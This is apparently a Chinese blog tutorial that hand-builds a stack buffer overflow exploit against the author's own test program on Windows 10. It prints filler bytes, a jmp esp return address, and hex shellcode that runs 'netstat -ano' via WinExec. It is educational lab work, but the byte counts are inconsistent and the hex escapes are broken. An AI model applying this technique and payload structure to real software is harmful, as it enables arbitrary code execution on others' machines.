• 缓冲区溢出之栈溢出利用(手动编写无 payload 的 Exploit)


    0x01 介绍

    Exploit 的英文意思就是利用,它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用),有Exploit就肯定有漏洞。编写缓冲区溢出的Exploit分为3个方面:漏洞溢出长度+返回地址利用+shellcode

    测试环境:C-free5 + Windows10 + 2019年1月25日

    0x02 测试漏洞溢出长度

    1、测试漏洞溢出长度意思是看看可利用的漏洞需要多少字节溢出到返回地址,下面是示例程序
    在这里插入图片描述
    2、这个程序储存test[5]这个字符串变量的栈地址是这样的
    在这里插入图片描述
    3、所以需要24个字节才能完全覆盖返回地址(20到24的4个字节为返回地址),下面是溢出的16进制代码共16字节,那么溢出的代码就完成了,下面要利用返回地址

    x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41
    

    0x03 返回地址利用

    1、程序已经覆盖了返回地址了,那怎么才能跳到我们的shellcode呢,这时候就需要利用返回地址了,学习的时候讲了一种方法就是利用jmp esp来跳到shellcode,意思是溢出到返回地址返回的时候(esp这时候是指向返回地址的),利用返回地址跳到jmp esp这个语句,之后执行jmp esp就会跳到原先的返回地址,之后的数据代码就会被当作程序代码执行,从而达到了返回地址的利用

    2、那么怎么找到jmp esp这个语句呢,需要编写特定的程序在常驻在内存中的dll中寻找,这里我网上搜索了一个,恰好我的windows10操作系统能用(可能开了过多的服务…),以下就是返回地址0x7FFA4512

    "x12x45xfax7f"
    

    0x04 编写shellcode

    1、shellcode就是执行的代码,至于怎么执行依据功能而定,比如简单的可以弹出对话框、执行cmd程序、关机等,复杂的可能进行网络通讯,监控系统,关闭杀毒软件,传输木马病毒等等

    2、如何编写shellcode呢,要想被系统执行,通常为16进制的汇编代码,利用OD就可以编写了,这里我编写的是执行netstat -ano这个系统命令

    ps:编写shellcode有非常多的问题,主要体现在API函数的调用上面,只要调用的时候除了一点点错误,系统都不会将数据复制进来,换句话说只要一个API出错,这个API下面的代码都白搭,都不会执行卡在那了。下图代码的意思就不说了,自己百度,不然又是几个小时
    在这里插入图片描述
    3、代码给贴出来了,如果不懂可以看:栈储存字符串的原理
    push ebp // 压入ebp,保存环境
    mov ebp,esp // 这个不多说了吧
    push eax // 预留16字节栈空间储存"netstat -ano"
    push eax // push一个eax4个字节
    push eax
    push eax
    mov byte ptr ss:[ebp-0x10],0x6E // 字符串 “n”
    mov byte ptr ss:[ebp-0xF],0x65 // 字符串 “e”
    mov byte ptr ss:[ebp-0xE],0x74 // 字符串 “t”
    mov byte ptr ss:[ebp-0xD],0x73 // 字符串 “s”
    mov byte ptr ss:[ebp-0xC],0x74 // 字符串 “t”
    mov byte ptr ss:[ebp-0xB],0x61 // 字符串 “a”
    mov byte ptr ss:[ebp-0xA],0x74 // 字符串 “t”
    mov byte ptr ss:[ebp-0x9],0x20 // 字符串 “空格”
    mov byte ptr ss:[ebp-0x8],0x2D // 字符串 “-”
    mov byte ptr ss:[ebp-0x7],0x61 // 字符串 “a”
    mov byte ptr ss:[ebp-0x6],0x6E // 字符串 “n”
    mov byte ptr ss:[ebp-0x5],0x6F // 字符串 “o”
    push 0x1 // 压入第二个参数0x1也就是SW_SHOWNORMAL(汇编调用API压参数是反过来的)
    lea eax,dword ptr ss:[ebp-0x10]
    push eax //压入第一个参数也就是字符串“netstat -ano”的首地址ebp-0x10
    call WinExec //调用WinExec这个函数,这个注意了每台机器上的机器码可能不同

    4、贴出WinExec函数原型
    在这里插入图片描述在这里插入图片描述

    5、对应的机器码,就是OD代码右边的东西

    "x55"
    "x8bxec"
    "x50"
    "x50"
    "x50"
    "x50"
    "xc6x45xf0x6e"
    "xc6x45xf1x65"
    "xc6x45xf2x74"
    "xc6x45xf3x73"
    "xc6x45xf4x74"
    "xc6x45xf5x61"
    "xc6x45xf6x74"
    "xc6x45xf7x20"
    "xc6x45xf8x2d"
    "xc6x45xf9x61"
    "xc6x45xfax6e"
    "xc6x45xfbx6f"
    "x6ax01"
    "x8dx45xf0"
    "x50"
    "xe8x16x3axb0x74"
    

    0x5 组合代码形成Exploit

    16进制代码的顺序为:漏洞溢出长度+返回地址利用+shellcode

    "x41x41x41x41"
    "x41x41x41x41"
    "x41x41x41x41"
    "x41x41x41x41"
    "x41x41x41x41"					// 溢出代码
    "x12x45xfax7f"					// 返回地址
    "x55"										// shellcode
    "x8bxec"
    "x50"
    "x50"
    "x50"
    "x50"
    "xc6x45xf0x6e"
    "xc6x45xf1x65"
    "xc6x45xf2x74"
    "xc6x45xf3x73"
    "xc6x45xf4x74"
    "xc6x45xf5x61"
    "xc6x45xf6x74"
    "xc6x45xf7x20"
    "xc6x45xf8x2d"
    "xc6x45xf9x61"
    "xc6x45xfax6e"
    "xc6x45xfbx6f"
    "x6ax01"
    "x8dx45xf0"
    "x50"
    "xe8x16x3axb0x74"
    

    0x6 测试

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    成功运行了netstat -ano这个命令,本次学习测试到此结束

  • 相关阅读:
    缓存在高并发场景下的常见问题
    如何提高缓存命中率
    修改或隐藏nginx的版本号
    centos7使用docker安装zabbix
    Handsontable 新增一行 默认值
    java保留有效数字
    Handsontable通用方法
    handsontable插件事件
    handsontable常规配置的中文API
    handsontable的核心方法
  • 原文地址:https://www.cnblogs.com/csnd/p/11800544.html
Copyright © 2020-2023  润新知